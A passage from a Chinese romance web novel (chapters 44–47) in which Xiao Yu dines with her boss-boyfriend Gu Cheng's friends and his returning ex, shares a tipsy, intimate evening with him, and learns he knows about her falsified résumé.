秦舒曼目不转睛地看着他,酒杯送至口边,才抵唇轻笑道,“谢谢。”
*
喝完第一杯酒,大家都动了筷。
开席前一直秉承沉默是金的几个男人,在观察了半天后,相互间又暗戳戳传递过眼神,才基本能总结一下眼前的情况。
会带着新欢给旧爱接风,还接得这么平和顺利的,除了顾程,估计也没谁了。反正他们几个,是绝对做不出这种一不小心就翻船的事儿。
他应该的确无心复合。本来这样的聚会上,他的话就不多,今儿个除了提酒和被喊着说话的时候,几乎一直都在留意着小女朋友,生怕她被冷落了。
而秦舒曼对此视若无睹,笑语晏晏,跟他们聊着天,多是在异国的工作经历,并没有刻意提起过去。顾程来前,他们几个开他俩玩笑的时候,她未置可否,但以她那个性子,应该也不屑于去做第三者。
至于这个肖瑜么……反倒有点一言难尽。现在的小姑娘,一个比一个精,她表面看起来嫩
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得很,谁知道是不是扮猪吃老虎。
也不知道顾程跟没跟她提前说过,反正小姑娘一双眼睛睁得滴溜溜圆,谁说话她就看谁,好奇地不得了。看起来一点不像陪着男朋友给前女友接风的,倒像是来饭局听八卦的。偶尔顾程因被陈雪和秦舒曼叫着说话转过头去,她看向顾程和秦舒曼的眼神不像是在吃醋,反倒更像暗戳戳希望他俩擦出点火花来。
反正……就挺奇怪的。
平素里比较活跃的刘赫,在酒过三巡后,跟秦舒曼聊了几句,听她提起要回国任职,镜片后的眼睛闪了闪,问顾程,“听着了没?秦大美女以后不走了。”
“昨晚是听舒曼提过。”顾程刚给肖瑜盛了勺东星斑,也转头看向秦舒曼,“不再考虑考虑吗?这么快就决定了?”
“机会这种东西,稍纵即逝。”秦舒曼勾了下唇,点点头,举杯朝众人笑道,“我在泽城根浅,以后还要仰仗各位多多支持。”
“有顾氏的太子爷罩着,怕什么。”邹策看一眼顾程身边的小姑娘,笑了笑,“这可是泽城最大的腿,谁抱谁知道。”
他长了一双桃花眼,说这话的时候又噙着笑。别人都习惯了他时不时来句不正经的调侃,肖瑜看了他一眼,却憋不住弯了眼眸,嘴里的鱼肉都要含不住。
“啧。”邹策探身向前,好奇地问,“我说了什么这么好笑?”
顾程也回过头来看肖瑜,小姑娘不料偷笑被抓个正着,咽了口中的肉,小心地看着顾程,忍不住又笑了,“我……我就是不小心想象了一下,他抱你大腿是什么样儿。”她说完,还补充了一下,“是真大腿,仰着头抱。噗……”
那画面太美,她不敢再想,一想就要前仰后合。
几个人被她描述的画面惊到了,继而都哈哈笑了起来。顾程更是嫌弃地看了眼邹策,抬指在肖瑜脑门上轻敲一下,“胡说八道。”
“真是老了,跟不上小姑娘的脑回路。”赵经年跟大家碰了个酒,笑着问道,“肖瑜是吧?大几了?学什么的?是本地人吗?”
“别喧宾夺主。”肖瑜还没说话,顾程便笑着把话接了过来,“以后有的是机会了解她。舒曼既然接了国内的业务,你们几个给个准话,也让她心里有个底。”
秦舒曼抿了下唇,看他一眼,很快又收回了视线。
“看你说的,这么多年交情是西北风吗?”赵经年率先举杯,向秦舒曼说道,“我这庙小,出口的单估计你也看不上,但我上下游那些客户,介绍给你不是问题。”
“赵总太谦虚了。”秦舒曼也朝他举了杯,抿一口酒,笑道,“你的无人机出口量月月攀新高,长远来看,绝对是优质大客户。找时间我们坐下来单独聊聊,我对你的单可比对那些上下游更有兴趣。”
“啧,这么快就开始搞业务了。”刘赫在一边推着眼镜笑道,“今儿可是老同学聚会,给你接风的。别搞得像是商战现场。”
“别说经年,说说你。”顾程给肖瑜又添了些酸奶,边垂眸拧着盒盖,边随意笑道,“舒曼这些年一直在国外,以前的关系都远了。你们几个要是都不交个底,让她怎么放心回来。”
秦舒曼又看他一眼,其他几个人也有一瞬的沉默,陈雪更是探究地看向了顾程身边的肖瑜。
45. 第 45 章
第四十五章
肖瑜却是看着刘赫,很认真地等着他说话,就像在等领导发言。
陈雪摸了根烟点上,挑着眉,饶有兴致地又看向顾程。
顾程抬眸看到几人的视线,也意识到这话或许有点不太顾及肖瑜的感受。他转头想安抚一下,可看到小姑娘盯着刘赫那认真的样子,他眉骨动了动,弯一下唇角没吱声。
她这一晚上俩眼不够用似的,看完这个看那个,脑回路也跟一般人不大一样。既然没多想,也犯不着解释,否则反而显得有些刻意。
几秒的视线拉扯后,刘赫呵呵干笑几声,推推眼镜,“你们在座这几个,有谁想跟我打交道的?哈,我可是专职打官司的。”
“你这还端上了?”秦舒曼轻笑一声,晃着酒杯看着他道,“连续三年都没输过,把你的客户介绍给我,他们一定会卖你这个人情。”
“哎呀,你就不能让我再端会儿?”刘赫咧嘴一笑,本就长得很喜庆的五官,像个弥勒佛,把肖瑜看得也忍不住咧了嘴,“小美女今晚对我兴趣很大啊?是不是看我长得比你们家顾总平易近人?特想亲近?”
“我也很好奇。”顾程转眸看向肖瑜,很是疑惑,“你这什么意思?一个个盯着看,他们几个脸上开花了?”
肖瑜眨了眨眼,捂着嘴巴附在他耳边悄声说,“素材。”
顾程释然,抬了下眉,伸手捏捏她的脸,“吃完饭带你去酒吧再搜集点?”
“真的吗?”肖瑜不可置信地看着他,“可你不是不喜欢闹吗?”
“还真想去?”顾程本就只是揶揄,摇头笑着拒绝了,“今天很累,改天。待会儿吃过饭就回家。”
“回家?”对面邹策眼眸一动,看向顾程的目光有些意味深长,“某些人不是说过,不会婚前同居吗?”
见顾程闻言低笑着端了酒杯,居然没有开口澄清的意思,肖瑜脸一红,连忙解释道,“我们没有……我跟顾总是邻居,回家是顺路的。”
“你要是想,也不是不可以。”顾程瞥她一眼,抿了口酒,“我可以为你破个例。”
“我才不想……”肖瑜哪里料到他会当众羞她,嘟囔一句抱起酸奶,也不再睁着大眼睛乱看了,嘟着嘴郁闷地盯着眼前的盘子。
几个男人平素里偶尔出来约一下,会所之类的也没少去。顾程虽然一向不带女人,也不喜欢人往身上缠,但逢场作戏撩骚几句,十分寻常。是以见他几句话把小姑娘逗得垂下脑袋不吭声,对面几人都暧昧地笑了笑,便又喝着酒聊起近来生意场上的事,不再揪着她闹。
而陈雪听了这话,却撩起眼皮看向神色如常的秦舒曼,悄声笑道,“你这心理素质可真是过硬。都打算回来了,就这么看着?”
秦舒曼笑了笑,应得很淡,“现在真的只是朋友。我可不做小三。”
不知道肖瑜听不听得到,但这声音不高不低,不大不小,刚好传得进顾程的耳。
他原本正在跟邹策说话,闻声言语似乎顿了一下,才又继续。
陈雪嗤笑一声,低头拨楞拨楞新做好的指甲,“那可别怪我没提醒你,有想法,就趁早。这小姑娘要跟你一样是个心里能存事的,还好说。怕就怕是真的单纯,那再处久一点,就真没你什么事儿了。”
她声音很低,可秦舒曼还是下意识看了顾程一眼,才转头支腮看向她,悄声笑道,“你多虑了。”
她这话说得十分模棱两可,陈雪扯了下唇角,拿过酒跟她碰了一下,淡笑道,“行,我多虑了。喝酒。”
*
因有肖瑜在,今日的接风宴上,大家说话都比此前的聚会要收敛,结束得也早。
离席时,秦舒曼一起身,肖瑜就忍不住将目光又黏在了她的身上。
她真的很高,穿了双十分优雅的尖头细跟鞋,站在顾程身边,两个人竟然只差小两寸。不像她,就算穿个十厘米的高跟鞋,也得跟他差半个头。
陈雪带了保姆车过来,几个人在门口又说了几句话,刘赫他们就一同上了车。临别时,邹策还悄咪咪附耳调侃顾程,夜来怕不是要享齐人之福。
终待只剩下三个人,肖瑜被顾程拉着手跟秦舒曼道别,这才开始觉得有点怪怪的。
自打跟她确认了关系,顾程好像就特别喜欢拉拉她的手,捏捏她的脸,偶尔还要摸摸她的头。这会儿就算是面对曾经的初恋,也一点不避嫌地拉着她。而她一晚上只顾着搜集素材,此刻回味一下三个人的关系,再低头看看被他握住的手……连她自己都替顾程觉得有点尬。
肖瑜这样想着,不免就抽了抽手。
顾程瞥她一眼,握得更紧,转头跟秦舒曼说道,“搬家的时候,如果需要帮忙,给我电话。”
“嗯。”秦舒曼眼中带着笑意,曼声道,“之前还有东西在你那儿,什么时候过去拿比较方便?”
“密码你知道,随时可以。”顾程顿了下,看眼肖瑜,又说道,“明天晚上还是……”
未待他说完,秦舒曼便笑着打断道,“我今天给阿姨打过电话了。原本想着明天是你们的家宴,我去不太合适,想换个时间过去拜访。不过阿姨说,多一双筷子多份热闹,所以我就没好意思再推辞。”
肖瑜转着大眼睛看看秦舒曼,又看看顾程。
“好。那我下午过来接你。”他点了下头,朝酒店大堂扬了扬下巴,“你上去吧,我们回去了。”
“你今天喝了不少。”秦舒曼轻轻笑了笑,将视线挪到肖瑜脸上,“晚上别让阿程喝太多气泡水,还是喝点热的对胃好。”
肖瑜怔了一下,点点头,“哦,好。”
*
回家的路上,肖瑜很安静地开着车,脑子里却是各种小说情节的碰撞,火花乱闪,天雷滚滚。
酒宴上秦舒曼并没有跟顾程刻意说什么,可刚才那番话,透露的信息可就多了去了。首先,她明天晚上会去顾程家吃饭,听那意思,之前应该就跟顾程的妈妈关系不错。至于随后刻意交代她,给顾程喝点热的……
天啊,这妥妥是在给她示威。一方面展示了前女友对男友的了解和往日的亲密,另一方面,就算是自己体贴地给顾程准备了热饮,对顾程而言,那也是在他前女友的细心叮嘱下才做的。
这寥寥数语,段位不低,给她带来的灵感,那是杠杠的!
肖瑜有点激动,手也有点痒。
终于回到泽鼎停好了车,她弯着眼眸转过头来,看到顾程微蹙的眉心,才眨了眨眼,收起笑,很关切地问道,“你哪里不舒服吗?”
顾程抬了下眉,喜怒难辨,“这话是不是该我问你?你就没有哪里不舒服吗?”
“没有啊,我又没有喝酒,我挺舒服的。”肖瑜摇了摇头,见他脸色不是太好看,心里那股想码字的冲动散了些,走下车,帮他拉开车门,“你的脸色不太好,快回家休息吧。”
顾程的唇角动了动,却没再说话。他摁住她的
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肩膀下了车,脚落地时身子一晃,大半个人的重量都压在了肖瑜身上,直接把她又压矮了几公分,慌不迭扶住他的腰背低呼道,“嗳,你小心点,别摔了。”
“酒劲儿上来了,很晕。”顾程勾住她的肩,脚步有些踉跄,但也不至于把她给带倒,抬指压着眉心道,“你送我回去。”
他酒气很重。元宵节那晚,肖瑜也见过他喝酒后的样子,只是在车上的时候会闭目休息,下了车不但步履稳健,甚至还能护着她躲避来往的人群。可见今晚,是真的喝多了。
肖瑜这下是真的有点担心他不舒服。她点点头,依旧扶住他的腰,另一手握住他搭来肩上的胳膊,一边半扛着陪他往电梯走,一边哄着他说,“马上到家了,你再忍忍。回去我冲热……”
说着话进了电梯,她伸手摁了楼层,连忙抬头又很急地说道,“你不许告诉我之前她给你冲的什么热饮!我要给你冲我自己想冲的。”
顾程愣了一下,唇角有点压不住,偏过脸闷声道,“好。”
可上了楼进了屋肖瑜才想起来,自己压根就不熟悉他家的东西。她帮顾程解下外套,扶他坐去沙发,才蹲身下来,小声哄他,“你躺一下,我回家给你冲点柠蜜拿过来,好不好?”
“冰箱里有柠檬,橱柜里有蜂蜜。”顾程醉眼朦胧地看着她,勾起唇角,“要我给你拿吗?”
“不要,你躺着就好。我自己可以。”肖瑜起身帮他拿了靠枕过来,又扶着他摆出一个半躺半靠、舒舒服服的姿势,这才脱了大衣挽起袖边,一步三回头地又看看他,去了厨房。
冰箱门开的声响,案板上柠檬切片的声响,甚至还有热水壶煮水的声响。
平素里安静得过分的空间里,有了这些窸窣的烟火声响,似乎令空气都暖了几分。
顾程静静看着厨房里,那个不时走过来,又走过去,因为不熟悉摆设而时不时闹出些翻动声的身影,好半天,才摸出手机给安祈攸发了个短信:【安排一下新员工全面体检。】
*
肖瑜端着柠蜜出来的时候,顾程已经再度坐了起来,双臂手肘撑着膝盖,目不转睛地看着她。
那个眼神……很醉。
她把水杯递给他,见他喝了一口又抬眸看向她,她声音软软地解释着,像在哄小孩,“你说你不喜欢太甜的,所以我没有放很多蜂蜜。如果酸的话,我再加点?”
“不酸,很好喝。”顾程又喝了一大口,继而小口慢饮,只是每喝一口,就会看她一眼,仿佛喝的不是柠蜜而是酒,而她,就是那道下酒菜。
终于他放下了水杯,舒舒服服地直起身子靠向了沙发。肖瑜正要起身把空杯拿去厨房,手指尚未触及杯耳,腰间一个大力,她已被拉去了他双腿之间,圈进了怀。
肖瑜的身子僵了一下,脸红心跳地歪头向他看去。
他俊逸的五官近在眼前,酒气浓重,嗓音却是出乎意料的温柔,“明天晚上跟我回家吧?见见我的父母。”
“我……”肖瑜本以为他酒意上头,跟自己那晚一样起了色心,哪里知道他竟会突然提出这样的要求,她咬了下唇,小声说道,“我明天晚上要回家,爸爸已经安排了人来接我,下班就得走。而且……”
她的脸很热,有点害羞地垂了眸,“我们在一起才两天,现在就告诉家里,是不是太快了?”
“我想娶你。”顾程的唇在她脸颊碰了碰,双臂更紧地圈住她,低喃道,“现在就想。”
46. 第 46 章
第四十六章
“我想娶你。”顾程的唇在她脸颊碰了碰,双臂更紧地圈住她,低喃道,“现在就想。”
上一次跟她的亲密接触,只是让他察觉自己对她的身体有着极为强烈的反应,就像是体内的基因为他做了选择,面对她娇滴滴的哄,柔软丰满的触感,若非一向自律,几乎难以抵抗。这是此前从未有过的冲动,就算年少时看不合法教育片,都不曾出现过。
可只是几天的再度相处,如今怀里抱着她,不知是酒精加持,还是他真的对她的身体无法抵抗,脑子里竟只想立刻占有她的全部。
或许,他也只是一个再普通不过的男人。什么自律,什么责任,被酒精放大了欲/望之后,面对方方面面都适合自己的女人,根本难以自控。
肖瑜却不知道他口中的所谓‘娶你’,其实还代表了另外一层意思。她只觉得他是醉酒上了头,根本不知道自己在说什么,就像喝醉了的自己,醒过来后,会一片空白。
于是她小心翼翼地哄着他,身子却试摸着扭动,拿手去掰他紧箍着自己的双臂,“你喝醉了,要乖乖的休息。有什么话,我们等明天再说吧,好不好?”
她在怀里挣着想躲,已是难捱,偏还软言软语哄着他,越发折磨得人想不顾一切。顾程探手握住下巴扭过她的脸,哑声道,“别动,再动真的忍不了。”
肖瑜看着他的眼睛,绷紧了身体,一下都不敢乱动。因为他此刻的眼神,似曾相识,让她怕,很想逃。
“乖。”她不再乱动,也不再发出声音,顾程终于缓了一口气,抬指抚了抚她的唇,轻轻吻了上去。
*
这是肖瑜在清醒的时候,第一次跟顾程接吻。
起初他是温柔的,就像那晚留在记忆中的感觉,一丝丝侵入,一分分品尝,克制而隐忍。只是这一次,或许因为染了酒意,这份浅尝辄止并未持续太久,握上她脖颈的手使了力,攀在腰上的手也揉上了胸,即便她呜咽着发出难耐的低吟,他也依旧肆意在她唇间辗转流连,不肯有丝毫退让。
缺氧导致的窒息感,让肖瑜再也承受不住地挣扎起来,许是她踢腾地太厉害,顾程终于抬起头,低喘着紧紧盯着她看。
他的眼睛泛起血丝,像捕食中途被惊扰的兽,把肖瑜吓得脸都白了,身体更是抖得连骨节都发疼。
“别怕。”顾程再度拿双臂环住她的腰,把她往怀里摁了摁,闭上眼睛把下巴垫在她的颈窝,“上头了。让我缓一下。”
肖瑜一动不敢动,也不敢说话,甚至连呼吸都刻意控制着,生怕一个不小心,又把他刚才那份兽性给勾出来。
就这样静悄悄过了许久,空气中那份躁动才渐渐平复下来。
顾程缓缓睁开眼睛看着她,鼻息在她耳畔绕,“每个周五,我都得去集团参加下午的会议,晚上会直接跟老爷子回家,陪家里人一起吃饭。所以明天下午……”他在她脸颊吻了一下,有点遗憾地说道,“我没有办法送你。”
“没关系的。”他恢复了往日的口吻,肖瑜也不再像刚才那样害怕,可还是心有余悸地不敢看他,低着头嗫嚅道,“家里有人来接我,周日我就回来了。”
“周日几点?”她像是在牛奶里泡着长大的,哪儿哪儿都是奶奶的香。顾程一边喃声低问,一边忍不住又低头去吻她皙白的耳后,“早点回来。要不要我去舟城接你?”
“不要。”肖瑜被他亲得很痒,刚缩着脖子躲开,就被他又握着脖子摁了回来。她立刻又老实下来,小心翼翼拿眼角看着他道,“会有人送我的,我……我早点回来。”
“真乖。”顾程听得出她此刻是又怕又羞。他笑了笑,终于松开钳制,把她抱起来放在身侧,拉开自己的领口指指颈窝上方,“啃一下,狠点。”
“……”肖瑜咬住嘴巴,满眼疑惑地看着他。
上次不是专门叮嘱过,不要再咬脖子吗?
“呵。”顾程抬了下眉,低笑着伸手把她的唇揉开,微微直起身子,“啃了给我妈看。省得老催我去相亲。”
可肖瑜还是没有动,十分犹豫地看了看他的脖子,脸颊红得火烧云一样,“我……我,我今天没喝酒,我不……我不太好意思。”
虽然有了男女朋友的身份,可两个人的感情基础基本为零。如果没有酒精壮胆,她可不敢就这么睁着眼睛爬他身上为非作歹。
顾程又笑了,靠在沙发上懒懒地瞧着她,展开双臂,“今天可不能给你喝,不然一定会出事。快着点,不然我就得动动你,再给你来点气氛。”
肖瑜抿了抿唇,大眼睛委屈巴巴地眨了眨,慢慢把头凑向他的颈窝。
她像个刚从树洞里钻出来采果子的小松鼠,眼瞅着嘴巴都要碰上顾程的颈窝,居然还抽着鼻子轻轻嗅了一下,跟着,又抬起头看了看他,才红着脸闭上眼,啊呜一口,连牙带嘴啃了上去。
姿势很猛,力道很轻。嘴唇在嘬,牙齿在磨,舌尖也软软地在舔。
顾程的喉结滚动了数下,视线在她若有若无触在自己身前的高耸上停顿片刻,又滑向那双裹在丝袜中的腿。他撑在沙发顶部的双臂青筋都绷了起来,骨节细长的十指也攥成团,才勉强按捺住把她提起来压下去的冲动。
肖瑜横着心又吸又咬折腾了半天,眯开眼缝儿看到他把头转向了别处,并没有往她这儿看,她这才放下悬着的心,挪开嘴巴,目不转睛盯着刚才使力的地方。
一块小红斑,还带着可爱的牙印,是她给男朋友上的印记。
她有点小开心,悄咪咪的开心,唇角忍不住扬了起来。
“我也给你弄一个?”顾程转过头来看着她,眸色有点暗,“脖子还是胸?”
肖瑜的嘴角平了下去,连忙站起来跟他拉开距离,“我不可以的,妈妈看到了会不让我回来的。”她说着,还拿双臂抱住了胸,有点埋怨地看着他,“你……你下次别那么用力抓我,有点疼。”
顾程的双拳又握了握,他咽了下嗓子,长舒一口气,闭上眼,“你回家吧。明天中午去办公室找我,陪你吃过午饭我再走。”
他的态度转变得很突兀,肖瑜愣了一下,有点不知所措地站在原地,好半天,才咬着嘴巴,眼中生了雾气。
而等了半天没听到她动,顾程睁开眼看到小姑娘突然眼泪汪汪地瞪着他,他也愣了一下,起身叹着气捏了捏她的脸,“怎么了这是?怎么突然就不高兴了?”
“我就是跟你说说我的感受,你就生气了。”肖瑜唇角下撇着抽了抽,委屈极了,“我也没说不想跟你亲热,就是,刚才就是真的……有点疼。”
勾人而不自知,哪儿让人生的出气。
顾程哭笑不得勾起她的肩,拿起她的大衣一边往门边送,一边好声好气地哄,“让你回去是为你好,以后你就知道了。去睡觉,听话。”
“你真的没有生气吗?”打开门被轻轻推了出去,肖瑜还是很不确定地问道,“而且你刚才那么难受,现在都好了?”
顾程深深吸了一口气,大手伸她眼前抓了团空气,狠狠捏一下,吓唬道,“你回不回家?”
肖瑜赶紧抱胸后退一步,摁了电梯抬起头,犹豫地看着他,“那你要是再难受了,给我打电话。我是你的女朋友,我会上来照顾你的。”
“好。”顾程噙着笑把她送进电梯,摸摸头,“放心,以后只有你能照顾我。明天见。”
“嗯。”
*
看着电梯的指示灯在她的楼层停下来,顾程才低笑一声,转身回了屋。
难受?继续这么跟她呆着才难受,都快憋出内伤了。
*
屋子里的灯亮着,却很安静。
肖瑜正换着鞋,顾菲的房门突然打开,只见她手里提着一只大大的垃圾袋,见到肖瑜,惊得蹦了一下,“你怎么突然回来了?”
肖瑜好笑地看着她,把大衣挂起来,朝她走过去,“都九点多了,回家不是很正常吗?你干吗呢?做贼一样的。”
顾菲连忙把卧室门带上,快步走去门边把绑好的垃圾袋丢外边,这才回身看着她,很好奇地问,“见到舒曼姐了吗?怎么样?这顿饭吃得不憋屈吧?”
“挺开心的。”肖瑜跟她一起坐去沙发,点点头,“她很漂亮,个子好高,当年跟你哥哥在学校里,肯定是很惹眼的一对。”
顾菲瞅着她的眼神像看外星人,“那你还挺开心?你都不怕他俩旧情复燃?”
“其实……”肖瑜想了想,还是很诚实地说道,“其实临别的时候,舒曼多少还
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是透出了点跟我示威的意思。不过她是前女友,看到前男友拉着现任亲亲热热的,会有点酸也正常。但顾总做得很好,并没有让我觉得不舒服,所以我愿意相信他。”
“怪不得我哥会看上你,心真大。”顾菲叹了口气,抱着腿嘟囔道,“我以前那些男朋友,多看哪个女人一眼就别想好过,更别说想带着我去给前任接风了。男人果然都喜欢大度的女人。”
“菲菲。”听顾菲这么说,肖瑜一下就来了兴致,睁大了眼睛坏坏地看着她笑,“你恋爱经验那么多,给我讲讲啊?都是什么类型的?为什么分手?进展到哪儿啦?有什么刻骨铭心的事情吗?”
“我以前吃颜,男朋友一任比一任帅。”顾菲很骄傲地扳着手指一个一个算,“篮球校队的,兼职做模特的,美术系脸帅手美的。我之前最喜欢的那个就是美术生,超帅,还很乖,是坐到图书馆里都会发光的那种你懂吗?光是看着他,不用吃饭我都能活下去。可还是分手了,还是被分手。”
眼看着顾菲从初时满眼放光,到后来蔫了吧唧低了头,肖瑜忍不住问道,“后来呢?那么喜欢为什么分手了?”
“他嫌我不懂事,嫌我不尊重他。”顾菲咬了下唇,眸色黯淡地抱着膝盖,“起初他对我也很好的,为了给我买礼物,陪我出去玩,省吃俭用,还兼职了好几份工作。我心疼他刮风下雨又是兼职家教,又是去画展打工的,在他生日的时候专门买了车送给他,就是希望他能别那么辛苦。我也没拦着他按自己喜欢的方式生活啊,就想让他路上能有个遮风挡雨的交通工具。可他……说我看不起他,说我渣。生日的时候,直接跟我分手了。”
“生日的时候买车啊?”肖瑜想到顾程说顾菲花钱不过脑子,嘴角不由抽了抽,小声说道,“你们那时候还在上大学吧?这个礼物确实有点太贵重了,可能他是觉得……是不是觉得跟你之间的消费差距太大了。”
“我只是想对他好,有错吗?”顾菲撇了下嘴,翻了翻眼睛,“他就是狗咬吕洞宾。我是大方,可也不是谁都能让我心甘情愿什么都愿意给的。”
“那你们……”肖瑜转了转眼珠,还是转了话头问道,“那后来呢?你们就再没联系了吗?”
“他留在泽城了,去了一家游戏公司。”顾菲咬了下唇,不自在地说道,“我现在玩的那个,美工设计里,就有他的名字。”
肖瑜惊呆了,很不可思议地看着她,“你玩游戏是因为他?原来你这么长情啊?那你再去追啊,跟他解释清楚,如果他也喜欢你,一定会理解的。”
“我才不要。”顾菲哼了下鼻子,起身很傲娇地昂着脖子,“主动跟我提分手,一生黑。我在游戏里的名字,就是以前上学那会儿的Q.Q名,很特别,他一看到就知道是我。他公司的游戏,他也玩。我就要他亲眼看着我在里面不停地勾搭男人,气死他!”
“……”肖瑜翻着眼睛看她,“你比我还大一岁呢,这么幼稚。”
“这不叫幼稚,叫洒脱。”顾菲不以为然地又哼了哼鼻子,拿眼角斜她一眼,“妻纲不振,以后结了婚还得了?跟你这种软包子说不清楚,你就等着以后被我哥搓圆捏扁,可劲儿收拾吧。”
“……”一句搓圆捏扁,听得肖瑜忍不住又拿双手抱了胸,脸红心跳地瞪她一眼,起身走向浴室,“我睡啦,你半夜不许再叫我起来找吃的,冰箱里的东西自己热。”
*
连续数日没回家,肖瑜一大早就起来收拾好了东西,临出门时才想起来,因为昨晚下车有点急,带着八音盒的包还落在顾程车上。
办公室里的玫瑰,经过连续两日过于温暖的室温,已经不怎么新鲜,打扫的阿姨一早问过早到的黄晓玲,直接把它们清理了出去。肖瑜过来的时候看到那空落落的一角,心里难免有些失落,只是这种情绪很快就被燕北北的催命微信扫去了一边:【什么情况?菲菲说你跟老总正式谈朋友了?】
【小鱼儿,你行啊你,我就出差两天,你就背着我有男朋友了?】
【我听菲菲说,老总的前女友也回来了?他还带你去给她接风了?老总的初恋什么样子?高冷还是风骚?你们掐起来了么?哎,你回个话啊你!】
【我在回单位路上了。中午食堂见,给姐老实交代!】
47. 第 47 章
第四十七章
燕北北那边估计是有别的同事在,要不然就她那脾性,肯定会直接打电话过来。
肖瑜有点哭笑不得,左右瞅瞅,给她敲了几个字:【你跟机关枪一样,都不带停的。我今晚要回家,所以中午约好了会跟顾总吃饭,回来我再找你玩。】
燕北北秒回:【你是不是傻?脑子抽抽了?他前女友刚回来,你这时候要回家?!你这不给他们制造干柴烈火的机会呢?!】
肖瑜弯着唇角回道:【他看起来不像那种人。再说如果这么容易就旧情复燃了,那我早点退出也是幸运啊,毕竟现在才刚刚开始,感情不深。】
燕北北没有再秒回了,肖瑜等了会儿,问道:【你跟奶味儿有进展了吗?】
【不可说。】燕北北又快速地回了过来:【需见面详谈。小鱼儿,菲菲说会帮你看着她哥的。建个群。】
不多时肖瑜就被拉入了一个三人群,群名叫【一亿年美女】。
肖瑜噗就笑了出来,连忙又装作很忙碌的样子敲了几下键盘,憋着笑在群里打道:【我们是恐龙吗?还一亿年呢……】
顾菲:【小鱼儿,待会儿见了我哥,你跟他说说,让他把我那张J行的卡也解冻了好吗?】后边还跟了一串的表情:星星眼=哀求=爱你呀。
燕北北:【菲菲,现在就开始行使小姑子的权利了啊?】后边是鄙视的表情。
顾菲:【你们现在想想,我哥这次为什么对我这么狠?我现在才知道,他这是气我把她看上的女人带出去浪。哎,我太倒霉了。小鱼儿,所以你说你是不是也确实得负点责任?】
燕北北:【小鱼儿,老总真没跟你那个啊?你都被扒光了……他不会不行吧?】
顾菲:【燕北北!你当我瞎呢?怎么可以这么说我哥?我哥腹肌翘臀大长腿,肯定很行!】
燕北北:【菲菲,亲哥滤镜懂吗?你没看网上说,个子高身材好的男人,容易侧芽发育不良。】
顾菲:【你这个小蹄子!明天约战!】
燕北北:【哈哈哈,你跟我急有什么用?得小鱼儿亲自检验了才能有结果,你长一万张嘴也没用。】
顾菲:【小嫂子,盘她!她侮辱的可是你男人!】
肖瑜被她俩画风渐渐变色的对话逗得不行,正想让她俩别再拿她和顾程开玩笑,肩膀被人拍了一下,她惊得几乎跳起来,连忙把手机扣在桌面上,抬起头。
顾程瞥一眼被她扣在桌上的手机,又看向她有点惊慌的小脸,抬了下眉,“去吃饭。”
“啊?”肖瑜转头看了眼办公室的大座钟,起身说道,“才十点啊……”
“我有点事。”顾程眼角余光看到财务科里那些人,都是专心致志干着活、支着耳朵听八卦的样子。他伸手拿起被肖瑜撑在椅背上的大衣,披在她的肩头,“先出来。”
出了办公楼,安祈攸已经带车等在门前,开出不远,就在附近一家早茶店停了下来。
顾程拉起肖瑜下了车,安祈攸在后边跟他俩保持着距离,进了餐厅,也是一个人另坐一桌,跟他们隔得很远,特别有眼色。
“临时有事要出去,半小时后走。”顾程从餐车上拿了两个小蒸笼,示意肖瑜也选了自己喜欢的,说道,“所以中午没办法陪你吃饭了。你周日几点回来?我把时间安排好,等你回来多陪陪你。”
肖瑜没有料到,他居然会这么在意昨晚说过要陪自己吃午饭的话。她有点意外地看着他,好半天,才摇摇头,弯起眼眸,“没关系的。等我跟家里定好回来的时间,就给你电话。还有……下次如果临时有事,需要改变我们的约会计划,你通知我一下就可以了,不用这么赶。”
顾程也意外地看了她一眼,原本有些紧绷的眉目渐渐舒展,“今天的事情比较突然,不然我不会这么安排。下午家里谁来接你?别不小心上错车,再让谁把你给拐跑了。”
“怎么可能?我又不是小孩子。”肖瑜听得心里甜甜的,看向他的眼睛里也都是笑意,“是爸爸的司机,我很熟的。”
她说着,忽然想起什么来,犹豫了一下,放下筷子,“顾总,我爸爸,他其实……”
“我知道。”顾程往她盘子里夹了只烧麦,不以为意地说道,“你的简历造了假。不过看在你已经是我女朋友的份上,我可以给你开个后门,不追究。”
“你知道?”肖瑜惊讶地瞪大了眼睛,“你怎么会知道?我喝醉的时候也交代了?”
“那倒没有。”顾程咽了口点心,这才彻底放下筷子,挑眉看着她笑道,“我是谁?怎么可能被你这小丫头片子给忽悠住?”
“那……”肖瑜挤着眉头想了想,终于想通了此前的很多疑问,她有点不确定地问道,“所以之前你那么关注我,喜欢管我,是因为我是我爸爸的女儿?那你……你跟我谈恋爱,你是不是也想跟远洲合作啊?”
顾程明显因她的问话愣了一下,他低头看一眼表,有点头疼,“两码事。我管你,的确是要保证,肖总的女儿不能在我眼皮子底下出事。但后来想你做我女朋友,跟远洲没有关系,我还不至于为了华驰去卖身。”
“……”他这词儿用的,肖瑜都不知道该笑还是该羞。她翘了下唇角又扁下去,踌躇地说道,“其实不管你是不是带有别的目的,我都不介意。因为这也是我想体验的一部分,一个完整的、很世俗的恋爱。但是……”
她这一张嘴就把自己定义成了动机不纯,还‘很世俗’!顾程一股郁气拱上心头,本就觉得有限的时间内难以解释,她居然还有‘但是’?
他搁在桌上的五指握了下,长舒一口气,压着忍着继续听小姑娘自说自话:“但是我爸爸公私分得很清,就算我跟他说了你是我男朋友,生意谈不谈的成,还是得靠你自己。”
顾程觉得自己胸腔里的气儿不够用,深呼吸了好几下,才又低头看一眼表,尽自克制地缓着语气说道,“这些事情等你回来再说。还吃吗?”
肖瑜摇了摇头,“打包好吗?我当午饭。”
挺好,反正他也气饱了。
*
送了肖瑜回公司,顾程的面色彻底暗了下来。
安祈攸凑空瞅了他一眼,思忖着劝解道,“肖瑜年纪还小,你要是有心跟人家处朋友,就让着点。人周末回家,你这前女友突然回来了,大中午的说好了还不能陪人家吃饭,小姑娘闹点脾气也正常。”
“没闹。”
安祈攸狐疑地皱了眉,“没闹你黑个脸怎么回事?烦这批原材料的事儿?这可不像你。”
顾程没吱声,手机在大衣里震了一下,他拿出来看一眼,脸色越发难看。
是肖瑜:【顾总,您不要心里不舒服。我也是华驰的员工,这些天来,我很认可您的管理和全体员工的付出。晚上回去如果爸爸问起来,我一定会为我们华驰说话的。】
顾程从来没觉得这么闹心过,烦得伸手在脸上狠狠搓了搓,捂住额头闭上了眼。
安祈攸在后视镜里时不时瞄着他,想笑,又不敢。
终于顾程又睁开眼长长舒了一口气,伸手扯扯领口,回道:【回去先别跟你父母提我们的事。我把远洲的单拿下来之前,不要提,一个字都不许提。你不许帮我说一句话。】
